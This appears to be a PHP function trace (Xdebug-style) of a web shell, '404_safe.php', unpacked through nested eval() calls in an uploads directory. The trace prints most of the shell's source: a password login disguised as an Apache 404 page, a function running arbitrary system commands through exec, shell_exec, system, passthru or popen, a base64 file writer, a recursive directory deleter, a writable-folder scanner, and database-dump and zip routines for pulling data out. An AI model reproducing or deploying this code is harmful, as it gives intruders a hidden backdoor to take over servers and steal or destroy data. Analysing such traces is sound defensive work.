$admin[\'cookiedomain\'], $useport);\n}\nfunction multi($num, $perpage, $curpage, $tablename) {\n\t$multipage = \'\';\n\tif($num > $perpage) {\n\t\t$page = 10;\n\t\t$offset = 5;\n\t\t$pages = @ceil($num / $perpage);\n\t\tif($page > $pages) {\n\t\t\t$from = 1;\n\t\t\t$to = $pages;\n\t\t} else {\n\t\t\t$from = $curpage - $offset;\n\t\t\t$to = $curpage + $page - $offset - 1;\n\t\t\tif($from < 1) {\n\t\t\t\t$to = $curpage + 1 - $from;\n\t\t\t\t$from = 1;\n\t\t\t\tif(($to - $from) < $page && ($to - $from) < $pages) {\n\t\t\t\t\t$to = $page;\n\t\t\t\t}\n\t\t\t} elseif($to > $pages) {\n\t\t\t\t$from = $curpage - $pages + $to;\n\t\t\t\t$to = $pages;\n\t\t\t\tif(($to - $from) < $page && ($to - $from) < $pages) {\n\t\t\t\t\t$from = $pages - $page + 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$multipage = ($curpage - $offset > 1 && $pages > $page ? \'<a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'\\\', 1);">First</a> \' : \'\').($curpage > 1 ? \'<a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'\\\', \'.($curpage - 1).\');">Prev</a> \' : \'\');\n\t\tfor($i = $from; $i <= $to; $i++) {\n\t\t\t$multipage .= $i == $curpage ? $i.\' \' : \'<a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'\\\', \'.$i.\');">[\'.$i.\']</a> \';\n\t\t}\n\t\t$multipage .= ($curpage < $pages ? \'<a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'\\\', \'.($curpage + 1).\');">Next</a>\' : \'\').($to < $pages ? \' <a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'\\\', \'.$pages.\');">Last</a>\' : \'\');\n\t\t$multipage = $multipage ? \'<p>Pages: \'.$multipage.\'</p>\' : \'\';\n\t}\n\treturn $multipage;\n}\n// Login page\nfunction loginpage() {\n?>\n\n<html> <title>404 Not Found</title> <h1>Not Found</h1>  <p>The requested URL / was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr>  <address>Apache Server at  Port 80</address>      <style>          input { margin:0;background-color:#fff;border:1px solid #fff; }      </style>  <center> <form method="POST" action="">     <span style="font:10pt tahoma;"></span><input name="password" type="password" size="20">     <input type="hidden" name="doing" value="login">     </form> </center> \t</html> \n<?php\n\texit;\n\n}//end loginpage()\n\nfunction execute($cfe) {\n\t$res = \'\';\n\tif ($cfe) {\n\t\tif(function_exists(\'exec\')) {\n\t\t\t@exec($cfe,$res);\n\t\t\t$res = join("\\n",$res);\n\t\t} elseif(function_exists(\'shell_exec\')) {\n\t\t\t$res = @shell_exec($cfe);\n\t\t} elseif(function_exists(\'system\')) {\n\t\t\t@ob_start();\n\t\t\t@system($cfe);\n\t\t\t$res = @ob_get_contents();\n\t\t\t@ob_end_clean();\n\t\t} elseif(function_exists(\'passthru\')) {\n\t\t\t@ob_start();\n\t\t\t@passthru($cfe);\n\t\t\t$res = @ob_get_contents();\n\t\t\t@ob_end_clean();\n\t\t} elseif(@is_resource($f = @popen($cfe,"r"))) {\n\t\t\t$res = \'\';\n\t\t\twhile(!@feof($f)) {\n\t\t\t\t$res .= @fread($f,1024);\n\t\t\t}\n\t\t\t@pclose($f);\n\t\t}\n\t}\n\treturn $res;\n}\nfunction which($pr) {\n\t$path = execute("which $pr");\n\treturn ($path ? $path : $pr);\n}\n\nfunction cf($fname,$text){\n\tif($fp=@fopen($fname,\'w\')) {\n\t\t@fputs($fp,@base64_decode($text));\n\t\t@fclose($fp);\n\t}\n}\n\n// Debug\nfunction debuginfo() {\n\tglobal $starttime;\n\t$mtime = explode(\' \', microtime());\n\t$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);\n\techo \'Processed in \'.$totaltime.\' second(s)\';\n}\n\n// Function connect database\nfunction dbconn($dbhost,$dbuser,$dbpass,$dbname=\'\',$charset=\'\',$dbport=\'3306\') {\n\tif(!$link = @mysql_connect($dbhost.\':\'.$dbport, $dbuser, $dbpass)) {\n\t\tp(\'<h2>Can not connect to MySQL server</h2>\');\n\t\texit;\n\t}\n\tif($link && $dbname) {\n\t\tif (!@mysql_select_db($dbname, $link)) {\n\t\t\tp(\'<h2>Database selected has error</h2>\');\n\t\t\texit;\n\t\t}\n\t}\n\tif($link && mysql_get_server_info() > \'4.1\') {\n\t\tif(in_array(strtolower($charset), array(\'gbk\', \'big5\', \'utf8\'))) {\n\t\t\tq("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);\n\t\t}\n\t}\n\treturn $link;\n}\n\n// Array strip\nfunction s_array(&$array) {\n\tif (is_array($array)) {\n\t\tforeach ($array as $k => $v) {\n\t\t\t$array[$k] = s_array($v);\n\t\t}\n\t} else if (is_string($array)) {\n\t\t$array = stripslashes($array);\n\t}\n\treturn $array;\n}\n\n// HTML Strip\nfunction html_clean($content) {\n\t$content = htmlspecialchars($content);\n\t$content = str_replace("\\n", "<br />", $content);\n\t$content = str_replace("  ", "&nbsp;&nbsp;", $content);\n\t$content = str_replace("\\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);\n\treturn $content;\n}\n\n// Chmod\nfunction getChmod($filepath){\n\treturn substr(base_convert(@fileperms($filepath),10,8),-4);\n}\n\nfunction getPerms($filepath) {\n\t$mode = @fileperms($filepath);\n\tif (($mode & 0xC000) === 0xC000) {$type = \'s\';}\n\telseif (($mode & 0x4000) === 0x4000) {$type = \'d\';}\n\telseif (($mode & 0xA000) === 0xA000) {$type = \'l\';}\n\telseif (($mode & 0x8000) === 0x8000) {$type = \'-\';}\n\telseif (($mode & 0x6000) === 0x6000) {$type = \'b\';}\n\telseif (($mode & 0x2000) === 0x2000) {$type = \'c\';}\n\telseif (($mode & 0x1000) === 0x1000) {$type = \'p\';}\n\telse {$type = \'?\';}\n\n\t$owner[\'read\'] = ($mode & 00400) ? \'r\' : \'-\';\n\t$owner[\'write\'] = ($mode & 00200) ? \'w\' : \'-\';\n\t$owner[\'execute\'] = ($mode & 00100) ? \'x\' : \'-\';\n\t$group[\'read\'] = ($mode & 00040) ? \'r\' : \'-\';\n\t$group[\'write\'] = ($mode & 00020) ? \'w\' : \'-\';\n\t$group[\'execute\'] = ($mode & 00010) ? \'x\' : \'-\';\n\t$world[\'read\'] = ($mode & 00004) ? \'r\' : \'-\';\n\t$world[\'write\'] = ($mode & 00002) ? \'w\' : \'-\';\n\t$world[\'execute\'] = ($mode & 00001) ? \'x\' : \'-\';\n\n\tif( $mode & 0x800 ) {$owner[\'execute\'] = ($owner[\'execute\']==\'x\') ? \'s\' : \'S\';}\n\tif( $mode & 0x400 ) {$group[\'execute\'] = ($group[\'execute\']==\'x\') ? \'s\' : \'S\';}\n\tif( $mode & 0x200 ) {$world[\'execute\'] = ($world[\'execute\']==\'x\') ? \'t\' : \'T\';}\n\n\treturn $type.$owner[\'read\'].$owner[\'write\'].$owner[\'execute\'].$group[\'read\'].$group[\'write\'].$group[\'execute\'].$world[\'read\'].$world[\'write\'].$world[\'execute\'];\n}\n\nfunction getUser($filepath)\t{\n\tif (function_exists(\'posix_getpwuid\')) {\n\t\t$array = @posix_getpwuid(@fileowner($filepath));\n\t\tif ($array && is_array($array)) {\n\t\t\treturn \' / <a href="#" title="User: \'.$array[\'name\'].\'&#13&#10Passwd: \'.$array[\'passwd\'].\'&#13&#10Uid: \'.$array[\'uid\'].\'&#13&#10gid: \'.$array[\'gid\'].\'&#13&#10Gecos: \'.$array[\'gecos\'].\'&#13&#10Dir: \'.$array[\'dir\'].\'&#13&#10Shell: \'.$array[\'shell\'].\'">\'.$array[\'name\'].\'</a>\';\n\t\t}\n\t}\n\treturn \'\';\n}\n\n// Delete dir\nfunction deltree($deldir) {\n\t$mydir=@dir($deldir);\n\twhile($file=$mydir->read())\t{\n\t\tif((is_dir($deldir.\'/\'.$file)) && ($file!=\'.\') && ($file!=\'..\')) {\n\t\t\t@chmod($deldir.\'/\'.$file,0777);\n\t\t\tdeltree($deldir.\'/\'.$file);\n\t\t}\n\t\tif (is_file($deldir.\'/\'.$file)) {\n\t\t\t@chmod($deldir.\'/\'.$file,0777);\n\t\t\t@unlink($deldir.\'/\'.$file);\n\t\t}\n\t}\n\t$mydir->close();\n\t@chmod($deldir,0777);\n\treturn @rmdir($deldir) ? 1 : 0;\n}\n\n// Background\nfunction bg() {\n\tglobal $bgc;\n\treturn ($bgc++%2==0) ? \'alt1\' : \'alt2\';\n}\n\n// Get path\nfunction getPath($scriptpath, $nowpath) {\n\tif ($nowpath == \'.\') {\n\t\t$nowpath = $scriptpath;\n\t}\n\t$nowpath = str_replace(\'\\\\\', \'/\', $nowpath);\n\t$nowpath = str_replace(\'//\', \'/\', $nowpath);\n\tif (substr($nowpath, -1) != \'/\') {\n\t\t$nowpath = $nowpath.\'/\';\n\t}\n\treturn $nowpath;\n}\n\n// Get up path\nfunction getUpPath($nowpath) {\n\t$pathdb = explode(\'/\', $nowpath);\n\t$num = count($pathdb);\n\tif ($num > 2) {\n\t\tunset($pathdb[$num-1],$pathdb[$num-2]);\n\t}\n\t$uppath = implode(\'/\', $pathdb).\'/\';\n\t$uppath = str_replace(\'//\', \'/\', $uppath);\n\treturn $uppath;\n}\n\n// Config\nfunction getcfg($varname) {\n\t$result = get_cfg_var($varname);\n\tif ($result == 0) {\n\t\treturn \'No\';\n\t} elseif ($result == 1) {\n\t\treturn \'Yes\';\n\t} else {\n\t\treturn $result;\n\t}\n}\n\n// Function name\nfunction getfun($funName) {\n\treturn (false !== function_exists($funName)) ? \'Yes\' : \'No\';\n}\n\nfunction GetList($dir){\n\tglobal $dirdata,$j,$nowpath;\n\t!$j && $j=1;\n\tif ($dh = opendir($dir)) {\n\t\twhile ($file = readdir($dh)) {\n\t\t\t$f=str_replace(\'//\',\'/\',$dir.\'/\'.$file);\n\t\t\tif($file!=\'.\' && $file!=\'..\' && is_dir($f)){\n\t\t\t\tif (is_writable($f)) {\n\t\t\t\t\t$dirdata[$j][\'filename\']=str_replace($nowpath,\'\',$f);\n\t\t\t\t\t$dirdata[$j][\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($f));\n\t\t\t\t\t$dirdata[$j][\'dirchmod\']=getChmod($f);\n\t\t\t\t\t$dirdata[$j][\'dirperm\']=getPerms($f);\n\t\t\t\t\t$dirdata[$j][\'dirlink\']=ue($dir);\n\t\t\t\t\t$dirdata[$j][\'server_link\']=$f;\n\t\t\t\t\t$dirdata[$j][\'client_link\']=ue($f);\n\t\t\t\t\t$j++;\n\t\t\t\t}\n\t\t\t\tGetList($f);\n\t\t\t}\n\t\t}\n\t\tclosedir($dh);\n\t\tclearstatcache();\n\t\treturn $dirdata;\n\t} else {\n\t\treturn array();\n\t}\n}\n\nfunction qy($sql) {\n\t//echo $sql.\'<br>\';\n\t$res = $error = \'\';\n\tif(!$res = @mysql_query($sql)) {\n\t\treturn 0;\n\t} else if(is_resource($res)) {\n\t\treturn 1;\n\t} else {\n\t\treturn 2;\n\t}\n\treturn 0;\n}\n\nfunction q($sql) {\n\treturn @mysql_query($sql);\n}\n\nfunction fr($qy){\n\tmysql_free_result($qy);\n}\n\nfunction sizecount($size) {\n\tif($size > 1073741824) {\n\t\t$size = round($size / 1073741824 * 100) / 100 . \' G\';\n\t} elseif($size > 1048576) {\n\t\t$size = round($size / 1048576 * 100) / 100 . \' M\';\n\t} elseif($size > 1024) {\n\t\t$size = round($size / 1024 * 100) / 100 . \' K\';\n\t} else {\n\t\t$size = $size . \' B\';\n\t}\n\treturn $size;\n}\n\n// Zip\nclass PHPZip{\n\tvar $out=\'\';\n\tfunction PHPZip($dir)\t{\n\t\tif (@function_exists(\'gzcompress\'))\t{\n\t\t\t$curdir = getcwd();\n\t\t\tif (is_array($dir)) $filelist = $dir;\n\t\t\telse{\n\t\t\t\t$filelist=$this -> GetFileList($dir);//File list\n\t\t\t\tforeach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);\n\t\t\t}\n\t\t\tif ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);\n\t\t\telse chdir($curdir);\n\t\t\tif (count($filelist)>0){\n\t\t\t\tforeach($filelist as $filename){\n\t\t\t\t\tif (is_file($filename)){\n\t\t\t\t\t\t$fd = fopen ($filename, \'r\');\n\t\t\t\t\t\t$content = @fread ($fd, filesize($filename));\n\t\t\t\t\t\tfclose ($fd);\n\t\t\t\t\t\tif (is_array($dir)) $filename = basename($filename);\n\t\t\t\t\t\t$this -> addFile($content, $filename);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$this->out = $this -> file();\n\t\t\t\tchdir($curdir);\n\t\t\t}\n\t\t\treturn 1;\n\t\t}\n\t\telse return 0;\n\t}\n\n\t// Show file list\n\tfunction GetFileList($dir){\n\t\tstatic $a;\n\t\tif (is_dir($dir)) {\n\t\t\tif ($dh = opendir($dir)) {\n\t\t\t\twhile ($file = readdir($dh)) {\n\t\t\t\t\tif($file!=\'.\' && $file!=\'..\'){\n\t\t\t\t\t\t$f=$dir .\'/\'. $file;\n\t\t\t\t\t\tif(is_dir($f)) $this->GetFileList($f);\n\t\t\t\t\t\t$a[]=$f;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tclosedir($dh);\n\t\t\t}\n\t\t}\n\t\treturn $a;\n\t}\n\n\tvar $datasec      = array();\n\tvar $ctrl_dir     = array();\n\tvar $eof_ctrl_dir = "\\x50\\x4b\\x05\\x06\\x00\\x00\\x00\\x00";\n\tvar $old_offset   = 0;\n\n\tfunction unix2DosTime($unixtime = 0) {\n\t\t$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);\n\t\tif ($timearray[\'year\'] < 1980) {\n\t\t\t$timearray[\'year\']    = 1980;\n\t\t\t$timearray[\'mon\']     = 1;\n\t\t\t$timearray[\'mday\']    = 1;\n\t\t\t$timearray[\'hours\']   = 0;\n\t\t\t$timearray[\'minutes\'] = 0;\n\t\t\t$timearray[\'seconds\'] = 0;\n\t\t} // end if\n\t\treturn (($timearray[\'year\'] - 1980) << 25) | ($timearray[\'mon\'] << 21) | ($timearray[\'mday\'] << 16) |\n\t\t\t\t($timearray[\'hours\'] << 11) | ($timearray[\'minutes\'] << 5) | ($timearray[\'seconds\'] >> 1);\n\t}\n\n\tfunction addFile($data, $name, $time = 0) {\n\t\t$name = str_replace(\'\\\\\', \'/\', $name);\n\n\t\t$dtime = dechex($this->unix2DosTime($time));\n\t\t$hexdtime\t= \'\\x\' . $dtime[6] . $dtime[7]\n\t\t\t\t\t. \'\\x\' . $dtime[4] . $dtime[5]\n\t\t\t\t\t. \'\\x\' . $dtime[2] . $dtime[3]\n\t\t\t\t\t. \'\\x\' . $dtime[0] . $dtime[1];\n\t\teval(\'$hexdtime = "\' . $hexdtime . \'";\');\n\t\t$fr\t= "\\x50\\x4b\\x03\\x04";\n\t\t$fr\t.= "\\x14\\x00";\n\t\t$fr\t.= "\\x00\\x00";\n\t\t$fr\t.= "\\x08\\x00";\n\t\t$fr\t.= $hexdtime;\n\n\t\t$unc_len = strlen($data);\n\t\t$crc = crc32($data);\n\t\t$zdata = gzcompress($data);\n\t\t$c_len = strlen($zdata);\n\t\t$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);\n\t\t$fr .= pack(\'V\', $crc);\n\t\t$fr .= pack(\'V\', $c_len);\n\t\t$fr .= pack(\'V\', $unc_len);\n\t\t$fr .= pack(\'v\', strlen($name));\n\t\t$fr .= pack(\'v\', 0);\n\t\t$fr .= $name;\n\t\t$fr .= $zdata;\n\t\t$fr .= pack(\'V\', $crc);\n\t\t$fr .= pack(\'V\', $c_len);\n\t\t$fr .= pack(\'V\', $unc_len);\n\n\t\t$this -> datasec[] = $fr;\n\t\t$new_offset = strlen(implode(\'\', $this->datasec));\n\n\t\t$cdrec = "\\x50\\x4b\\x01\\x02";\n\t\t$cdrec .= "\\x00\\x00";\n\t\t$cdrec .= "\\x14\\x00";\n\t\t$cdrec .= "\\x00\\x00";\n\t\t$cdrec .= "\\x08\\x00";\n\t\t$cdrec .= $hexdtime;\n\t\t$cdrec .= pack(\'V\', $crc);\n\t\t$cdrec .= pack(\'V\', $c_len);\n\t\t$cdrec .= pack(\'V\', $unc_len);\n\t\t$cdrec .= pack(\'v\', strlen($name) );\n\t\t$cdrec .= pack(\'v\', 0 );\n\t\t$cdrec .= pack(\'v\', 0 );\n\t\t$cdrec .= pack(\'v\', 0 );\n\t\t$cdrec .= pack(\'v\', 0 );\n\t\t$cdrec .= pack(\'V\', 32 );\n\t\t$cdrec .= pack(\'V\', $this -> old_offset );\n\t\t$this -> old_offset = $new_offset;\n\t\t$cdrec .= $name;\n\n\t\t$this -> ctrl_dir[] = $cdrec;\n\t}\n\n\tfunction file() {\n\t\t$data    = implode(\'\', $this -> datasec);\n\t\t$ctrldir = implode(\'\', $this -> ctrl_dir);\n\t\treturn $data . $ctrldir . $this -> eof_ctrl_dir . pack(\'v\', sizeof($this -> ctrl_dir)) . pack(\'v\', sizeof($this -> ctrl_dir)) .\tpack(\'V\', strlen($ctrldir)) . pack(\'V\', strlen($data)) . "\\x00\\x00";\n\t}\n}\n\n// Dump mysql\nfunction sqldumptable($table, $fp=0) {\n\t$tabledump = "DROP TABLE IF EXISTS $table;\\n";\n\t$tabledump .= "CREATE TABLE $table (\\n";\n\n\t$firstfield=1;\n\n\t$fields = q("SHOW FIELDS FROM $table");\n\twhile ($field = mysql_fetch_array($fields)) {\n\t\tif (!$firstfield) {\n\t\t\t$tabledump .= ",\\n";\n\t\t} else {\n\t\t\t$firstfield=0;\n\t\t}\n\t\t$tabledump .= "   $field[Field] $field[Type]";\n\t\tif (!empty($field["Default"])) {\n\t\t\t$tabledump .= " DEFAULT \'$field[Default]\'";\n\t\t}\n\t\tif ($field[\'Null\'] != "YES") {\n\t\t\t$tabledump .= " NOT NULL";\n\t\t}\n\t\tif ($field[\'Extra\'] != "") {\n\t\t\t$tabledump .= " $field[Extra]";\n\t\t}\n\t}\n\tfr($fields);\n\n\t$keys = q("SHOW KEYS FROM $table");\n\twhile ($key = mysql_fetch_array($keys)) {\n\t\t$kname=$key[\'Key_name\'];\n\t\tif ($kname != "PRIMARY" && $key[\'Non_unique\'] == 0) {\n\t\t\t$kname="UNIQUE|$kname";\n\t\t}\n\t\tif(!is_array($index[$kname])) {\n\t\t\t$index[$kname] = array();\n\t\t}\n\t\t$index[$kname][] = $key[\'Column_name\'];\n\t}\n\tfr($keys);\n\n\twhile(list($kname, $columns) = @each($index)) {\n\t\t$tabledump .= ",\\n";\n\t\t$colnames=implode($columns,",");\n\n\t\tif ($kname == "PRIMARY") {\n\t\t\t$tabledump .= "   PRIMARY KEY ($colnames)";\n\t\t} else {\n\t\t\tif (substr($kname,0,6) == "UNIQUE") {\n\t\t\t\t$kname=substr($kname,7);\n\t\t\t}\n\t\t\t$tabledump .= "   KEY $kname ($colnames)";\n\t\t}\n\t}\n\n\t$tabledump .= "\\n);\\n\\n";\n\tif ($fp) {\n\t\tfwrite($fp,$tabledump);\n\t} else {\n\t\techo $tabledump;\n\t}\n\n\t$rows = q("SELECT * FROM $table");\n\t$numfields = mysql_num_fields($rows);\n\twhile ($row = mysql_fetch_array($rows)) {\n\t\t$tabledump = "INSERT INTO $table VALUES(";\n\n\t\t$fieldcounter=-1;\n\t\t$firstfield=1;\n\t\twhile (++$fieldcounter<$numfields) {\n\t\t\tif (!$firstfield) {\n\t\t\t\t$tabledump.=", ";\n\t\t\t} else {\n\t\t\t\t$firstfield=0;\n\t\t\t}\n\n\t\t\tif (!isset($row[$fieldcounter])) {\n\t\t\t\t$tabledump .= "NULL";\n\t\t\t} else {\n\t\t\t\t$tabledump .= "\'".mysql_escape_string($row[$fieldcounter])."\'";\n\t\t\t}\n\t\t}\n\n\t\t$tabledump .= ");\\n";\n\n\t\tif ($fp) {\n\t\t\tfwrite($fp,$tabledump);\n\t\t} else {\n\t\t\techo $tabledump;\n\t\t}\n\t}\n\tfr($rows);\n\tif ($fp) {\n\t\tfwrite($fp,"\\n");\n\t} else {\n\t\techo "\\n";\n\t}\n}\n\nfunction ue($str){\n\treturn urlencode($str);\n}\n\nfunction p($str){\n\techo $str."\\n";\n}\n\nfunction tbhead() {\n\tp(\'<table width="100%" border="0" cellpadding="4" cellspacing="0">\');\n}\nfunction tbfoot(){\n\tp(\'</table>\');\n}\n\nfunction makehide($name,$value=\'\'){\n\tp("<input id=\\"$name\\" type=\\"hidden\\" name=\\"$name\\" value=\\"$value\\" />");\n}\n\nfunction makeinput($arg = array()){\n\t$arg[\'size\'] = $arg[\'size\'] > 0 ? "size=\\"$arg[size]\\"" : "size=\\"100\\"";\n\t$arg[\'extra\'] = $arg[\'extra\'] ? $arg[\'extra\'] : \'\';\n\t!$arg[\'type\'] && $arg[\'type\'] = \'text\';\n\t$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';\n\t$arg[\'class\'] = $arg[\'class\'] ? $arg[\'class\'] : \'input\';\n\tif ($arg[\'newline\']) {\n\t\tp("<p>$arg[title]<input class=\\"$arg[class]\\" name=\\"$arg[name]\\" id=\\"$arg[name]\\" value=\\"$arg[value]\\" type=\\"$arg[type]\\" $arg[size] $arg[extra] /></p>");\n\t} else {\n\t\tp("$arg[title]<input class=\\"$arg[class]\\" name=\\"$arg[name]\\" id=\\"$arg[name]\\" value=\\"$arg[value]\\" type=\\"$arg[type]\\" $arg[size] $arg[extra] />");\n\t}\n}\n\nfunction makeselect($arg = array()){\n\tif ($arg[\'onchange\']) {\n\t\t$onchange = \'onchange="\'.$arg[\'onchange\'].\'"\';\n\t}\n\t$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'] : \'\';\n\tif ($arg[\'newline\']) p(\'<p>\');\n\tp("$arg[title] <select class=\\"input\\" id=\\"$arg[name]\\" name=\\"$arg[name]\\" $onchange>");\n\t\tif (is_array($arg[\'option\'])) {\n\t\t\tforeach ($arg[\'option\'] as $key=>$value) {\n\t\t\t\tif ($arg[\'selected\']==$key) {\n\t\t\t\t\tp("<option value=\\"$key\\" selected>$value</option>");\n\t\t\t\t} else {\n\t\t\t\t\tp("<option value=\\"$key\\">$value</option>");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\tp("</select>");\n\tif ($arg[\'newline\']) p(\'</p>\');\n}\nfunction formhead($arg = array()) {\n\t!$arg[\'method\'] && $arg[\'method\'] = \'post\';\n\t!$arg[\'action\'] && $arg[\'action\'] = $self;\n\t$arg[\'target\'] = $arg[\'target\'] ? "target=\\"$arg[target]\\"" : \'\';\n\t!$arg[\'name\'] && $arg[\'name\'] = \'form1\';\n\tp("<form name=\\"$arg[name]\\" id=\\"$arg[name]\\" action=\\"$arg[action]\\" method=\\"$arg[method]\\" $arg[target]>");\n\tif ($arg[\'title\']) {\n\t\tp(\'<h2>\'.$arg[\'title\'].\' &raquo;</h2>\');\n\t}\n}\n\nfunction maketext($arg = array()){\n\t!$arg[\'cols\'] && $arg[\'cols\'] = 100;\n\t!$arg[\'rows\'] && $arg[\'rows\'] = 25;\n\t$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';\n\tp("<p>$arg[title]<textarea class=\\"area\\" id=\\"$arg[name]\\" name=\\"$arg[name]\\" cols=\\"$arg[cols]\\" rows=\\"$arg[rows]\\" $arg[extra]>$arg[value]</textarea></p>");\n}\n\nfunction formfooter($name = \'\'){\n\t!$name && $name = \'submit\';\n\tp(\'<p><input class="bt" name="\'.$name.\'" id=\\"\'.$name.\'\\" type="submit" value="Submit"></p>\');\n\tp(\'</form>\');\n}\n\nfunction formfoot(){\n\tp(\'</form>\');\n}\n\n// Exit\nfunction pr($a) {\n\techo \'<pre>\';\n\tprint_r($a);\n\techo \'</pre>\';\n}'	/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	0
6	23	0	0.011517	1548296	error_reporting	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	8	1	7
6	23	1	0.011539	1548336
6	23	R			22527
5	22	1	0.011567	1550576
4	18	1	0.011622	1161608
3	12	1	0.011631	1057696
2	6	1	0.011639	1054528
1	3	1	0.011647	1051208
1	24	0	0.011655	1051240	Error->__toString	0		Unknown	0	0
2	25	0	0.011668	1051320	Error->getTraceAsString	0		Unknown	0	0
2	25	1	0.011689	1055416
2	25	R			'#0 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(1): eval()\n#1 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1) : eval()\'d code(1): eval()\n#2 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1): eval()\n#3 /var/www/html/uploads/404_safe.php(1): eval()\n#4 {main}'
1	24	1	0.011713	1055712
1	24	R			'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code:9\nStack trace:\n#0 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(1): eval()\n#1 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1) : eval()\'d code(1): eval()\n#2 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1): eval()\n#3 /var/www/html/uploads/404_safe.php(1): eval()\n#4 {main}'
			0.011800	976232
TRACE END   [2023-02-12 23:07:15.034440]

